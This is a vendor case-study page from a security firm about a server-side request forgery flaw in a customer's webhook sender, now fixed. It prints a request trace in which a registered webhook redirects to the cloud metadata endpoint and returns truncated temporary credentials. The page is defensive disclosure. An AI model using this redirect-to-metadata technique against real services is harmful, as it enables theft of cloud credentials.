SSRF

How Tidelab stopped a webhook from reading its cloud keys

A customer webhook could reach the cloud metadata service. Feint turned that into live credentials in three hops.

SSRF

How Tidelab stopped a webhook from reading its cloud keys

A customer webhook could reach the cloud metadata service. Feint turned that into live credentials in three hops.

SSRF

How Tidelab stopped a webhook from reading its cloud keys

A customer webhook could reach the cloud metadata service. Feint turned that into live credentials in three hops.

3 hops

from webhook URL to cloud keys

1 PR

blocked every internal address

0

paths left to the metadata service

INDUSTRY

Data pipelines

STAGE

Series A · 31 engineers

LOCATION

Austin, TX

SURFACE TESTED

Cloud

The situation

Tidelab moves customer data between warehouses and SaaS tools. Customers point webhooks at their own URLs, and 31 engineers ship to that pipeline every day.

The exploit

The webhook sender checked the URL once, then followed redirects without checking again. Feint redirected a test webhook to the cloud metadata service and read temporary credentials from the response log.


# feint · webhook registered from a test tenant
POST /v1/webhooks  {"url": "https://hooks.feint-test.dev/r"}

# the sender checks the first URL, then follows redirects
GET https://hooks.feint-test.dev/r  ->  302
GET http://169.254.169.254/latest/meta-data/iam/…  ->  200

# response log
{"AccessKeyId": "ASIA…7Q2", "Expiration": "2026-09-14T11:02:51Z"

# feint · webhook registered from a test tenant
POST /v1/webhooks  {"url": "https://hooks.feint-test.dev/r"}

# the sender checks the first URL, then follows redirects
GET https://hooks.feint-test.dev/r  ->  302
GET http://169.254.169.254/latest/meta-data/iam/…  ->  200

# response log
{"AccessKeyId": "ASIA…7Q2", "Expiration": "2026-09-14T11:02:51Z"

# feint · webhook registered from a test tenant
POST /v1/webhooks  {"url": "https://hooks.feint-test.dev/r"}

# the sender checks the first URL, then follows redirects
GET https://hooks.feint-test.dev/r  ->  302
GET http://169.254.169.254/latest/meta-data/iam/…  ->  200

# response log
{"AccessKeyId": "ASIA…7Q2", "Expiration": "2026-09-14T11:02:51Z"

The fix

Feint opened one pull request that resolves every hop before sending and blocks internal addresses, with a regression test for each redirect path. The team reviewed it and merged it that afternoon.

What changed

Every merge is now re-attacked in CI against the original exploit. Webhook delivery has no remaining path to the metadata service, and the proof sits with the team’s audit records.

“We had reviewed that webhook twice. Feint reached our cloud keys in three hops.”

Daniel Reyes

VP of Engineering

GET STARTED

Run your first attack on your own code.

Point Feint at staging. Within the hour you’ll have a proven finding, or a clean report you can show your auditor.

No credit card · First exploit within the hour

GET STARTED

Run your first attack on your own code.

Point Feint at staging. Within the hour you’ll have a proven finding, or a clean report you can show your auditor.

No credit card · First exploit within the hour

GET STARTED

Run your first attack on your own code.

Point Feint at staging. Within the hour you’ll have a proven finding, or a clean report you can show your auditor.

No credit card · First exploit within the hour

© 2026 Feint, Inc.

SOC 2 in progress · HIPAA · GDPR · Made in Framer

Create a free website with Framer, the website builder loved by startups, designers and agencies.